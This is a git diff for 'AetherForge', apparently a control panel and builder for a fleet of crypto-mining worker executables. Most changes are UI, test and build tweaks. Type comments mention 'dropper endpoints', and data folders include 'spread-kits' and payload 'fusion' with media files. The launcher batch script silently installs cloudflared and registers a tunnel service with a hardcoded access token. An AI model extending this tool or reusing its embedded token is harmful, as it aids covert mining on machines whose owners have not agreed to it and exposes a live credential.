<MemoryRouter future={routerFuture}>
|
||||
<BuildManagerPage />
|
||||
</MemoryRouter>
|
||||
);
|
||||
|
||||
@@ -221,7 +221,7 @@ function BuildCard({
|
||||
<div className="bm-downloads-label font-tech">DOWNLOAD</div>
|
||||
<div className="bm-downloads-row">
|
||||
<DownloadButton
|
||||
apiPath={api.buildDownloadUrl(build.id)}
|
||||
apiPath={build.download_url || api.buildDownloadUrl(build.id)}
|
||||
filename={exeName}
|
||||
className="btn btn-primary bm-dl-btn"
|
||||
>
|
||||
@@ -234,6 +234,16 @@ function BuildCard({
|
||||
>
|
||||
↓ Uninstall script
|
||||
</AuthDownloadButton>
|
||||
{build.extra_files?.map((f) => (
|
||||
<DownloadButton
|
||||
key={f.file_name}
|
||||
apiPath={api.buildArtifactUrl(build.id, f.file_name)}
|
||||
filename={f.file_name}
|
||||
className="btn btn-outline bm-dl-btn"
|
||||
>
|
||||
↓ {f.file_name}
|
||||
</DownloadButton>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
@@ -7,12 +7,13 @@ import userEvent from '@testing-library/user-event';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import BuilderPage, { formatBytes } from './BuilderPage';
|
||||
import { ForgeProvider } from '../context/ForgeContext';
|
||||
import { routerFuture } from '../routerFuture';
|
||||
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
|
||||
import { api } from '../api/client';
|
||||
|
||||
function renderBuilder(initialEntries = ['/forge']) {
|
||||
return render(
|
||||
<MemoryRouter initialEntries={initialEntries}>
|
||||
<MemoryRouter initialEntries={initialEntries} future={routerFuture}>
|
||||
<ForgeProvider>
|
||||
<BuilderPage />
|
||||
</ForgeProvider>
|
||||
|
||||
@@ -19,7 +19,7 @@ import {
|
||||
type ForgeDeliverable,
|
||||
} from '../help/forgeFormNormalize';
|
||||
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
|
||||
import { buildRequestFromRecord } from '../help/buildManager';
|
||||
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||
import DownloadButton from '../components/DownloadButton';
|
||||
import { useForge } from '../context/ForgeContext';
|
||||
import {
|
||||
@@ -272,6 +272,7 @@ export default function BuilderPage() {
|
||||
try {
|
||||
const data = await api.getBlueprint(name);
|
||||
setCompareBlueprint(data as Record<string, unknown>);
|
||||
setBlueprintName(name);
|
||||
// Merge loaded data into form, preserving any fields not in the blueprint
|
||||
setForm((prev) => (prev ? { ...prev, ...data } : prev));
|
||||
setShowBlueprints(false);
|
||||
@@ -341,7 +342,9 @@ export default function BuilderPage() {
|
||||
const reader = new FileReader();
|
||||
reader.onload = (evt) => {
|
||||
try {
|
||||
const data = JSON.parse(evt.target?.result as string);
|
||||
const data = JSON.parse(evt.target?.result as string) as Record<string, unknown>;
|
||||
setCompareBlueprint(data);
|
||||
setBlueprintName(file.name);
|
||||
setForm((prev) => (prev ? { ...prev, ...data } : prev));
|
||||
setBlueprintMsg(`✅ Blueprint loaded from "${file.name}"`);
|
||||
setTimeout(() => setBlueprintMsg(''), 3000);
|
||||
@@ -594,6 +597,10 @@ export default function BuilderPage() {
|
||||
);
|
||||
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
|
||||
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
|
||||
const blueprintChanges = useMemo(() => {
|
||||
if (!compareBlueprint || !form) return [];
|
||||
return blueprintDiff(compareBlueprint, form as unknown as Record<string, unknown>);
|
||||
}, [compareBlueprint, form]);
|
||||
const fusionIsExe = fusionPayloadKind(fusionPrepFile) === 'exe';
|
||||
const fusionMediaMode = form?.fusion_media_mode || 'paired';
|
||||
|
||||
@@ -754,6 +761,44 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
)}
|
||||
|
||||
{compareBlueprint && blueprintChanges.length > 0 && (
|
||||
<div className="card" style={{ marginBottom: '16px' }}>
|
||||
<div style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center', marginBottom: '8px' }}>
|
||||
<h3 style={{ margin: 0, fontSize: '1rem' }}>
|
||||
Blueprint diff — {blueprintName || 'loaded blueprint'}
|
||||
</h3>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
onClick={() => {
|
||||
setCompareBlueprint(null);
|
||||
setBlueprintName('');
|
||||
}}
|
||||
>
|
||||
Dismiss
|
||||
</button>
|
||||
</div>
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
Fields that differ from the loaded blueprint (your previous form values were kept where they conflict).
|
||||
</p>
|
||||
<ul className="blueprint-diff-list" style={{ margin: 0, paddingLeft: '1.25rem', fontSize: '0.85rem' }}>
|
||||
{blueprintChanges.map((row) => (
|
||||
<li key={row.key}>
|
||||
<code>{row.key}</code>
|
||||
{' — '}
|
||||
{row.kind === 'added' && <span>kept from form</span>}
|
||||
{row.kind === 'removed' && <span>not in current form</span>}
|
||||
{row.kind === 'changed' && (
|
||||
<span>
|
||||
blueprint → current
|
||||
</span>
|
||||
)}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Blueprint picker panel */}
|
||||
{showBlueprints && (
|
||||
<div className="card" style={{ marginBottom: '16px' }}>
|
||||
@@ -2022,6 +2067,19 @@ export default function BuilderPage() {
|
||||
↓ Download
|
||||
</DownloadButton>
|
||||
)}
|
||||
{lastBuild.build_id &&
|
||||
lastBuild.extra_files?.map((f) =>
|
||||
f.file_name ? (
|
||||
<DownloadButton
|
||||
key={f.file_name}
|
||||
apiPath={api.buildArtifactUrl(lastBuild.build_id!, f.file_name)}
|
||||
filename={f.file_name}
|
||||
className="btn btn-outline btn-sm"
|
||||
>
|
||||
↓ {f.file_name}
|
||||
</DownloadButton>
|
||||
) : null
|
||||
)}
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
|
||||
@@ -7,6 +7,7 @@ import userEvent from '@testing-library/user-event';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import DashboardPage, { formatShareTime } from './DashboardPage';
|
||||
import { mockAgent, mockShare } from '../test/fixtures';
|
||||
import { routerFuture } from '../routerFuture';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import { api } from '../api/client';
|
||||
|
||||
@@ -41,7 +42,7 @@ function wsValue(overrides: Partial<ReturnType<typeof useWebSocket>> = {}) {
|
||||
|
||||
function renderDashboard() {
|
||||
return render(
|
||||
<MemoryRouter>
|
||||
<MemoryRouter future={routerFuture}>
|
||||
<DashboardPage />
|
||||
</MemoryRouter>
|
||||
);
|
||||
|
||||
@@ -1,9 +1,8 @@
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import { api } from '../api/client';
|
||||
import { useState, useEffect, useMemo, type CSSProperties } from 'react';
|
||||
import { useState, useEffect, useMemo, lazy, Suspense, type CSSProperties } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import type { Share } from '../types';
|
||||
import HashrateChart from '../components/Charts/HashrateChart';
|
||||
import GaugeRing from '../components/Charts/GaugeRing';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import { FleetPipelineStatus, ActivityPulse } from '../components/Visual/VisualComponents';
|
||||
@@ -21,8 +20,14 @@ import {
|
||||
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
|
||||
import FleetToolbar from '../components/Fleet/FleetToolbar';
|
||||
import ErrorBoundary from '../components/ErrorBoundary';
|
||||
import FleetTopologyMap from '../components/Visual/3D/FleetTopologyMap';
|
||||
import MatrixStreamOverlay from '../components/Visual/MatrixStreamOverlay';
|
||||
|
||||
const HashrateChart = lazy(() => import('../components/Charts/HashrateChart'));
|
||||
const FleetTopologyMap = lazy(() => import('../components/Visual/3D/FleetTopologyMap'));
|
||||
const MatrixStreamOverlay = lazy(() => import('../components/Visual/MatrixStreamOverlay'));
|
||||
|
||||
function ChartPlaceholder({ height }: { height: number }) {
|
||||
return <div style={{ height, opacity: 0.35 }} className="font-tech" aria-hidden />;
|
||||
}
|
||||
import {
|
||||
DEFAULT_FLEET_FILTERS,
|
||||
filterFleetAgents,
|
||||
@@ -458,24 +463,28 @@ export default function DashboardPage() {
|
||||
{/* ── Advanced-only panels ─────────────────────────────────────────────── */}
|
||||
{advancedMode && <AIActivityPanel entries={aiEntries} agentNames={agentNameMap} />}
|
||||
|
||||
<div className="grid-2 chart-row">
|
||||
<NeonCard accent="cyan" tilt3d>
|
||||
<HashrateChart data={hashHistory} title="Fleet Hashrate Wave" color="#00f5ff" unit="H/s" height={300} />
|
||||
</NeonCard>
|
||||
<NeonCard accent="purple" tilt3d>
|
||||
<HashrateChart data={acceptHistory} title="Accept Rate Pulse" color="#a855f7" unit="%" height={300} />
|
||||
</NeonCard>
|
||||
</div>
|
||||
|
||||
{advancedMode && (
|
||||
<Suspense fallback={<ChartPlaceholder height={300} />}>
|
||||
<div className="grid-2 chart-row">
|
||||
<NeonCard accent="magenta" tilt3d>
|
||||
<HashrateChart data={cpuHistory} title="CPU Pressure" color="#ff2da6" unit="%" height={220} />
|
||||
<NeonCard accent="cyan" tilt3d>
|
||||
<HashrateChart data={hashHistory} title="Fleet Hashrate Wave" color="#00f5ff" unit="H/s" height={300} />
|
||||
</NeonCard>
|
||||
<NeonCard accent="brass" tilt3d>
|
||||
<HashrateChart data={memHistory} title="Memory Load — Fleet Average" color="#ffb020" unit="%" height={220} />
|
||||
<NeonCard accent="purple" tilt3d>
|
||||
<HashrateChart data={acceptHistory} title="Accept Rate Pulse" color="#a855f7" unit="%" height={300} />
|
||||
</NeonCard>
|
||||
</div>
|
||||
</Suspense>
|
||||
|
||||
{advancedMode && (
|
||||
<Suspense fallback={<ChartPlaceholder height={220} />}>
|
||||
<div className="grid-2 chart-row">
|
||||
<NeonCard accent="magenta" tilt3d>
|
||||
<HashrateChart data={cpuHistory} title="CPU Pressure" color="#ff2da6" unit="%" height={220} />
|
||||
</NeonCard>
|
||||
<NeonCard accent="brass" tilt3d>
|
||||
<HashrateChart data={memHistory} title="Memory Load — Fleet Average" color="#ffb020" unit="%" height={220} />
|
||||
</NeonCard>
|
||||
</div>
|
||||
</Suspense>
|
||||
)}
|
||||
|
||||
<NeonCard accent="purple" className="section" hud>
|
||||
@@ -494,7 +503,9 @@ export default function DashboardPage() {
|
||||
</div>
|
||||
}
|
||||
>
|
||||
<FleetTopologyMap agents={agents} />
|
||||
<Suspense fallback={<ChartPlaceholder height={360} />}>
|
||||
<FleetTopologyMap agents={agents} />
|
||||
</Suspense>
|
||||
</ErrorBoundary>
|
||||
</section>
|
||||
|
||||
@@ -622,7 +633,11 @@ export default function DashboardPage() {
|
||||
</NeonCard>
|
||||
</section>
|
||||
)}
|
||||
<MatrixStreamOverlay active={showMatrix} onClose={() => setShowMatrix(false)} />
|
||||
{showMatrix && (
|
||||
<Suspense fallback={null}>
|
||||
<MatrixStreamOverlay active onClose={() => setShowMatrix(false)} />
|
||||
</Suspense>
|
||||
)}
|
||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||
</footer>
|
||||
|
||||
@@ -5,13 +5,14 @@ import { afterEach, describe, expect, it } from 'vitest';
|
||||
import { cleanup, render, screen } from '@testing-library/react';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import GuidePage from './GuidePage';
|
||||
import { routerFuture } from '../routerFuture';
|
||||
|
||||
describe('GuidePage', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
it('renders field guide hero and pipeline section', () => {
|
||||
render(
|
||||
<MemoryRouter>
|
||||
<MemoryRouter future={routerFuture}>
|
||||
<GuidePage />
|
||||
</MemoryRouter>
|
||||
);
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import { useState, useEffect, useRef } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import { setStoredAuth, getStoredAuth, clearStoredAuth, authHeaders } from '../api/auth';
|
||||
import { setStoredAuth, getStoredAuth, clearStoredAuth } from '../api/auth';
|
||||
import type { ServerConfig } from '../types';
|
||||
import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
@@ -159,13 +159,7 @@ export default function SettingsPage() {
|
||||
setRotatingSecret(true);
|
||||
setRotateMsg('');
|
||||
try {
|
||||
await fetch('/api/v1/server/rotate-secret', {
|
||||
method: 'POST',
|
||||
headers: { ...authHeaders() },
|
||||
}).then(async (r) => {
|
||||
if (!r.ok) throw new Error(await r.text());
|
||||
return r.json();
|
||||
});
|
||||
await api.rotateFleetSecret();
|
||||
setRotateMsg('Secret rotated. Re-forge all agents to reconnect.');
|
||||
} catch (e: unknown) {
|
||||
setRotateMsg('Rotation failed: ' + (e instanceof Error ? e.message : String(e)));
|
||||
|
||||
4
server/web/src/routerFuture.ts
Normal file
4
server/web/src/routerFuture.ts
Normal file
@@ -0,0 +1,4 @@
|
||||
export const routerFuture = {
|
||||
v7_startTransition: true,
|
||||
v7_relativeSplatPath: true,
|
||||
} as const;
|
||||
@@ -179,6 +179,7 @@ describe('types/index — BuildRecord / Build alias', () => {
|
||||
pool_port: 443,
|
||||
pool_tls: true,
|
||||
pool_pass: 'x',
|
||||
download_url: '/api/v1/builds/build-uuid/download',
|
||||
};
|
||||
|
||||
it('Build alias is assignable from BuildRecord', () => {
|
||||
@@ -193,8 +194,8 @@ describe('types/index — BuildRecord / Build alias', () => {
|
||||
file_name: 'worker-1.exe',
|
||||
platform: 'windows',
|
||||
bundle_size: 2048000,
|
||||
download_url: '/api/v1/builds/build-uuid/download',
|
||||
pinned: true,
|
||||
extra_files: [{ file_name: 'README.txt' }],
|
||||
};
|
||||
expect(extended.pinned).toBe(true);
|
||||
expect(extended.bundle_size).toBeGreaterThan(extended.file_size);
|
||||
|
||||
@@ -113,6 +113,11 @@ export interface ServerInfo {
|
||||
websocket_url: string;
|
||||
}
|
||||
|
||||
export interface BuildExtraFile {
|
||||
file_name: string;
|
||||
file_path?: string;
|
||||
}
|
||||
|
||||
export interface BuildRecord {
|
||||
id: string;
|
||||
worker_name: string;
|
||||
@@ -129,7 +134,9 @@ export interface BuildRecord {
|
||||
pool_pass: string;
|
||||
platform?: string;
|
||||
bundle_size?: number;
|
||||
download_url?: string;
|
||||
/** Always set by the server (defaults to /builds/{id}/download when not a ZIP artifact). */
|
||||
download_url: string;
|
||||
extra_files?: BuildExtraFile[];
|
||||
/** When true this build is served by /get and /install.* dropper endpoints */
|
||||
pinned?: boolean;
|
||||
}
|
||||
@@ -390,7 +397,7 @@ export interface BuildResponse {
|
||||
error?: string;
|
||||
fusion_enabled?: boolean;
|
||||
fusion_export_dir?: string;
|
||||
extra_files?: { file_name: string; file_path?: string }[];
|
||||
extra_files?: BuildExtraFile[];
|
||||
bundle_file_name?: string;
|
||||
bundle_download_url?: string;
|
||||
bundle_size?: number;
|
||||
|
||||
@@ -1,4 +1,7 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { dirname, join } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import type {
|
||||
WSAgentLog,
|
||||
WSAgentOffline,
|
||||
@@ -10,13 +13,66 @@ import type {
|
||||
} from './ws';
|
||||
import { mockAgent } from '../test/fixtures';
|
||||
|
||||
const fixtureDir = dirname(fileURLToPath(import.meta.url));
|
||||
const goWSFixture = JSON.parse(
|
||||
readFileSync(join(fixtureDir, '../../../internal/api/testdata/ws_types_fixture.json'), 'utf8'),
|
||||
) as Record<string, string[]>;
|
||||
|
||||
function expectKeys(obj: Record<string, unknown>, keys: string[]) {
|
||||
for (const key of keys) {
|
||||
expect(Object.prototype.hasOwnProperty.call(obj, key)).toBe(true);
|
||||
}
|
||||
}
|
||||
|
||||
function sampleValue(field: string): unknown {
|
||||
if (field === 'agents') return [];
|
||||
if (field === 'success') return true;
|
||||
if (field === 'line' || field === 'content' || field === 'message' || field === 'action' || field === 'agent_id') {
|
||||
return 'sample';
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
function buildSample(fields: string[]): Record<string, unknown> {
|
||||
const sample: Record<string, unknown> = {};
|
||||
for (const field of fields) {
|
||||
sample[field] = field === 'agents' ? [mockAgent()] : sampleValue(field);
|
||||
}
|
||||
return sample;
|
||||
}
|
||||
|
||||
describe('types/ws payloads', () => {
|
||||
it('shared payload keys match Go ws_types.go fixture', () => {
|
||||
for (const [typeName, fields] of Object.entries(goWSFixture)) {
|
||||
expect(fields).toEqual([...fields].sort());
|
||||
const sample = buildSample(fields);
|
||||
expectKeys(sample, fields);
|
||||
|
||||
switch (typeName) {
|
||||
case 'WSDashboardInit':
|
||||
void (sample as WSDashboardInit);
|
||||
break;
|
||||
case 'WSAgentOffline':
|
||||
void (sample as WSAgentOffline);
|
||||
break;
|
||||
case 'WSStatsUpdate':
|
||||
void (sample as WSStatsUpdate);
|
||||
break;
|
||||
case 'WSCommandResult':
|
||||
void (sample as WSCommandResult);
|
||||
break;
|
||||
case 'WSAgentLog':
|
||||
void (sample as WSAgentLog);
|
||||
break;
|
||||
case 'WSServerLog':
|
||||
void (sample as WSServerLog);
|
||||
break;
|
||||
default:
|
||||
throw new Error(`unexpected WS type in Go fixture: ${typeName}`);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
it('WSDashboardInit carries agents array', () => {
|
||||
const init: WSDashboardInit = { agents: [mockAgent()] };
|
||||
expectKeys(init as unknown as Record<string, unknown>, ['agents']);
|
||||
|
||||
@@ -1,6 +1,10 @@
|
||||
import type { Agent, AgentService } from '../types';
|
||||
|
||||
/** Dashboard WebSocket payloads — keep in sync with server/internal/api/ws_types.go */
|
||||
/**
|
||||
* Dashboard WebSocket payloads — keep in sync with server/internal/api/ws_types.go
|
||||
* Shared types: WSDashboardInit, WSAgentOffline, WSStatsUpdate, WSCommandResult, WSAgentLog, WSServerLog
|
||||
* Cross-language drift guard: server/internal/api/testdata/ws_types_fixture.json (Go ws_types_test.go, TS ws.test.ts)
|
||||
*/
|
||||
export interface WSDashboardInit {
|
||||
agents: Agent[];
|
||||
}
|
||||
|
||||
@@ -22,5 +22,20 @@ export default defineConfig({
|
||||
build: {
|
||||
outDir: 'dist',
|
||||
sourcemap: false,
|
||||
rollupOptions: {
|
||||
output: {
|
||||
manualChunks(id) {
|
||||
if (/node_modules[/\\](three|@react-three)/.test(id)) {
|
||||
return 'three';
|
||||
}
|
||||
if (/node_modules[/\\]recharts/.test(id)) {
|
||||
return 'recharts';
|
||||
}
|
||||
if (id.includes('node_modules')) {
|
||||
return 'vendor';
|
||||
}
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
@echo off
|
||||
:: Double-click launcher — delegates to full build + run pipeline.
|
||||
cd /d "%~dp0"
|
||||
call "%~dp0run.bat"
|
||||
call "%~dp0devrun.bat"
|
||||
|
||||
@@ -22,8 +22,11 @@ Or with PowerShell directly:
|
||||
| 4 | Frontend unit tests (Vitest) | `server/web/` |
|
||||
| 5 | Frontend production build | `server/web/` |
|
||||
| 6 | Server binary compile | `server/` |
|
||||
| 7 | Agent binary compile | `agent/` |
|
||||
| 8 | E2E smoke (Playwright) | `server/web/e2e/` — starts temp server |
|
||||
| 7 | Agent binary compile (Windows) | `agent/` → `bin/install-worker.exe` |
|
||||
| 7b | Agent cross-compile (linux/darwin) | `agent/` → `bin/install-worker-*` |
|
||||
| 8 | E2E smoke (Playwright) | `server/web/e2e/` — starts temp server on :18989 |
|
||||
|
||||
Phases 5–7 and 7b are skipped with `-SkipBuild`. Phase 8 is skipped with `-SkipE2E`.
|
||||
|
||||
## Run individual suites
|
||||
|
||||
@@ -58,7 +61,9 @@ cd server\web && npm run test:e2e
|
||||
- **Frontend:** `src/**/*.test.ts` (Vitest)
|
||||
- **E2E:** `server/web/e2e/*.spec.ts` (Playwright)
|
||||
|
||||
Coverage areas: forge/fusion, auth, DB, pool reconnect, API routes, fleet filters, preflight validation, media crypto roundtrip, dashboard login smoke, remote actions UI (offline gating via Playwright API mock).
|
||||
Coverage areas: forge/fusion, auth, DB, pool reconnect, API routes, fleet filters, preflight validation, media crypto roundtrip, dashboard login smoke, remote actions UI (offline gating).
|
||||
|
||||
`e2e/remote-actions.spec.ts` mocks the dashboard WebSocket `init` payload (AgentsPage prefers live WS fleet data over REST). Playwright HTTP `page.route` alone cannot intercept WebSockets in this toolchain version.
|
||||
|
||||
### Agent logs (not a missing API)
|
||||
|
||||
|
||||
147
usb/LAUNCH.bat
147
usb/LAUNCH.bat
@@ -2,12 +2,33 @@
|
||||
setlocal EnableExtensions EnableDelayedExpansion
|
||||
title AetherForge Control Deck
|
||||
cd /d "%~dp0"
|
||||
set "ROOT=%CD%"
|
||||
|
||||
echo.
|
||||
:: Portable deck root = folder that contains AetherForge.exe (repo usb\ or copied USB drive)
|
||||
if exist "%CD%\AetherForge.exe" (
|
||||
set "ROOT=!CD!"
|
||||
) else if exist "%CD%\usb\AetherForge.exe" (
|
||||
cd /d "%CD%\usb"
|
||||
set "ROOT=!CD!"
|
||||
) else (
|
||||
echo.
|
||||
echo ERROR: AetherForge.exe not found.
|
||||
echo Expected next to this script, or in usb\AetherForge.exe
|
||||
echo Run pack-usb.bat from the repo to build the portable bundle.
|
||||
echo.
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
if not exist "%ROOT%\AetherForge.exe" (
|
||||
echo ERROR: AetherForge.exe missing in %ROOT%
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo ================================================================
|
||||
echo AetherForge - Portable Control Deck
|
||||
echo ================================================================
|
||||
echo Deck: %ROOT%
|
||||
echo.
|
||||
|
||||
:: ----------------------------------------------------------------
|
||||
@@ -123,108 +144,79 @@ if not exist "%ROOT%\data\spread-kits" mkdir "%ROOT%\data\spread-kits"
|
||||
if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
|
||||
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
|
||||
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
|
||||
if not exist "%ROOT%\data\cloudflare" mkdir "%ROOT%\data\cloudflare"
|
||||
|
||||
:: ----------------------------------------------------------------
|
||||
:: 5. Cloudflare Tunnel — auto-install, configure, start
|
||||
:: 5. Cloudflare Tunnel — MSI + token service (no JSON setup)
|
||||
:: ----------------------------------------------------------------
|
||||
set "CF_DIR=%ROOT%\cloudflare"
|
||||
set "CF_CREDS_BUNDLE=%CF_DIR%\credentials.json"
|
||||
set "CF_MSI=%CF_DIR%\cloudflared-windows-amd64.msi"
|
||||
set "CF_HOSTNAME=killa.thetempleofdoom.com"
|
||||
set "CF_DATA=%ROOT%\data\cloudflare"
|
||||
set "SERVER_PORT=8989"
|
||||
set "CF_MSI=%ROOT%\cloudflare\cloudflared-windows-amd64.msi"
|
||||
if not exist "%CF_MSI%" set "CF_MSI=%~dp0cloudflared-windows-amd64.msi"
|
||||
if not exist "%CF_MSI%" set "CF_MSI=%~dp0..\cloudflared-windows-amd64.msi"
|
||||
set "CF_TOKEN=eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWFhYzYzMTctMzgyYS00OTM3LTgxY2YtYjM2ZjVkNjZjYTU4IiwicyI6Ik1XRXlaV0ZqTlRndE5XTTRPUzAwT0RCa0xXRTNaR010WkdRNU56UTJZMlJoTmpNMiJ9"
|
||||
set "CF_HOSTNAME=killa.thetempleofdoom.com"
|
||||
set "CF_BIN="
|
||||
set "CF_TUNNEL_ID="
|
||||
set "CF_READY=0"
|
||||
|
||||
:: Check credentials exist and are real (not the placeholder)
|
||||
if not exist "%CF_CREDS_BUNDLE%" goto cf_no_creds
|
||||
powershell -NoProfile -Command "exit ([string](Get-Content '%CF_CREDS_BUNDLE%') | ConvertFrom-Json | Select-Object -ExpandProperty TunnelID) -eq ''" >nul 2>nul
|
||||
if errorlevel 1 goto cf_no_creds
|
||||
|
||||
:: Parse tunnel ID from credentials JSON
|
||||
for /f "usebackq delims=" %%i in (`powershell -NoProfile -Command "(Get-Content '%CF_CREDS_BUNDLE%' | ConvertFrom-Json).TunnelID" 2^>nul`) do set "CF_TUNNEL_ID=%%i"
|
||||
if "!CF_TUNNEL_ID!"=="" goto cf_no_creds
|
||||
echo [CF] Tunnel ID: !CF_TUNNEL_ID!
|
||||
|
||||
:: Stage credentials into data\cloudflare\ (idempotent)
|
||||
set "CF_CREDS_LOCAL=%CF_DATA%\!CF_TUNNEL_ID!.json"
|
||||
if not exist "!CF_CREDS_LOCAL!" (
|
||||
copy "%CF_CREDS_BUNDLE%" "!CF_CREDS_LOCAL!" >nul
|
||||
echo [CF] Credentials staged to data\cloudflare\
|
||||
)
|
||||
|
||||
:: Always regenerate config.yml with current absolute paths
|
||||
:: (handles drive-letter changes when USB is moved)
|
||||
set "CF_CONFIG=%CF_DATA%\config.yml"
|
||||
powershell -NoProfile -Command "$cfg='%CF_DATA%\config.yml'; $creds='!CF_CREDS_LOCAL!'; $port='%SERVER_PORT%'; $host='%CF_HOSTNAME%'; $id='!CF_TUNNEL_ID!'; Set-Content -Path $cfg -Value @('tunnel: ' + $id, 'credentials-file: ' + $creds, '', 'ingress:', ' - hostname: ' + $host, ' service: http://127.0.0.1:' + $port, ' - service: http_status:404')" >nul 2>nul
|
||||
echo [CF] Config written for !CF_HOSTNAME! -^> 127.0.0.1:%SERVER_PORT%
|
||||
|
||||
:: ---- Locate or install cloudflared ----
|
||||
where cloudflared >nul 2>nul
|
||||
if not errorlevel 1 (
|
||||
set "CF_BIN=cloudflared"
|
||||
goto cf_have_bin
|
||||
goto cf_check_service
|
||||
)
|
||||
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
|
||||
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
|
||||
goto cf_have_bin
|
||||
goto cf_check_service
|
||||
)
|
||||
if exist "%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe" (
|
||||
set "CF_BIN=%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe"
|
||||
goto cf_have_bin
|
||||
goto cf_check_service
|
||||
)
|
||||
|
||||
:: Not found — install from bundled MSI
|
||||
if exist "%CF_MSI%" (
|
||||
echo [CF] cloudflared not found. Installing from bundled MSI...
|
||||
msiexec /i "%CF_MSI%" /quiet /norestart /l*v "%CF_DATA%\cf-install.log"
|
||||
echo [CF] MSI install launched - waiting...
|
||||
ping -n 8 127.0.0.1 >nul
|
||||
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
|
||||
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
|
||||
echo [CF] cloudflared installed successfully.
|
||||
goto cf_have_bin
|
||||
)
|
||||
where cloudflared >nul 2>nul
|
||||
if not errorlevel 1 (
|
||||
set "CF_BIN=cloudflared"
|
||||
echo [CF] cloudflared installed successfully.
|
||||
goto cf_have_bin
|
||||
)
|
||||
echo [CF] WARNING: MSI completed but cloudflared not found in PATH.
|
||||
echo [CF] Try re-running LAUNCH.bat after a reboot.
|
||||
goto cf_done
|
||||
) else (
|
||||
echo [CF] WARNING: cloudflared not installed and no MSI bundled.
|
||||
if not exist "%CF_MSI%" (
|
||||
echo [CF] WARNING: cloudflared not found and no MSI bundled. Skipping tunnel.
|
||||
goto cf_done
|
||||
)
|
||||
echo [CF] Installing cloudflared from bundled MSI...
|
||||
msiexec /i "%CF_MSI%" /quiet /norestart
|
||||
echo [CF] Waiting for MSI to complete...
|
||||
ping -n 10 127.0.0.1 >nul
|
||||
|
||||
:cf_have_bin
|
||||
where cloudflared >nul 2>nul
|
||||
if not errorlevel 1 ( set "CF_BIN=cloudflared" & goto cf_check_service )
|
||||
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
|
||||
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
|
||||
goto cf_check_service
|
||||
)
|
||||
echo [CF] WARNING: MSI installed but cloudflared still not found. Run as Administrator.
|
||||
goto cf_done
|
||||
|
||||
:cf_check_service
|
||||
echo [CF] Binary: !CF_BIN!
|
||||
|
||||
:: Check if cloudflared tunnel already running (same process = skip)
|
||||
tasklist 2>nul | findstr /I "cloudflared" >nul 2>nul
|
||||
sc query cloudflared >nul 2>nul
|
||||
if not errorlevel 1 (
|
||||
echo [CF] Tunnel already running on this machine.
|
||||
echo [CF] https://!CF_HOSTNAME!
|
||||
echo [CF] Tunnel service already registered.
|
||||
goto cf_start_service
|
||||
)
|
||||
echo [CF] Registering tunnel service with baked token...
|
||||
"!CF_BIN!" service install %CF_TOKEN%
|
||||
if errorlevel 1 (
|
||||
echo [CF] WARNING: service install failed. Run LAUNCH.bat as Administrator once.
|
||||
goto cf_done
|
||||
)
|
||||
echo [CF] Tunnel service registered.
|
||||
ping -n 3 127.0.0.1 >nul
|
||||
|
||||
:cf_start_service
|
||||
sc query cloudflared | findstr /I "RUNNING" >nul 2>nul
|
||||
if not errorlevel 1 (
|
||||
echo [CF] Tunnel already running — https://!CF_HOSTNAME!
|
||||
set "CF_READY=1"
|
||||
goto cf_done
|
||||
)
|
||||
|
||||
:: Start cloudflared tunnel in background
|
||||
echo [CF] Starting Cloudflare tunnel...
|
||||
start "" /B "!CF_BIN!" tunnel --config "!CF_CONFIG!" run
|
